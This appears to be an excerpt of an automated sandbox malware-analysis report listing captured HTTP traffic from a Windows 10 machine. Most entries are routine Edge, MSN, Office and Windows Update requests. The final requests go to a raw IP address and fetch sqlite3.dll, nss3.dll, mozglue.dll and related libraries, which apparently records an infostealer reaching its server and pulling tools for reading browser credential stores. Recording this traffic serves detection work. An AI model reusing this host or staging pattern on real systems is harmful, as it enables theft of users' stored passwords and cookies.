Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=359F0A28F1DB656E0F951F0FF08C6410&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=45d5da2e7245404791df29bc3fe0a6b6 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=359F0A28F1DB656E0F951F0FF08C6410; _EDGE_S=F=1&SID=264C6E6B016A67AC30677B4C008B6685; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730221183264&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=359F0A28F1DB656E0F951F0FF08C6410&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1CC9a9f3840f26d45abdf261730221185; XID=1CC9a9f3840f26d45abdf261730221185
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730221183263&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=5649141f81424af2950f2557903650e3&activityId=5649141f81424af2950f2557903650e3&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=27BDF96E828E4FD8B5E2FAA350C6D7F0&MUID=359F0A28F1DB656E0F951F0FF08C6410 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=359F0A28F1DB656E0F951F0FF08C6410; _EDGE_S=F=1&SID=264C6E6B016A67AC30677B4C008B6685; _EDGE_V=1; msnup=; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2P5wXySC3kYAZ87&MD=oyHvSXK8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 51dc45b6-e829-41f9-9814-2ad8c2d1a217.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log4.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log4.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log4.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
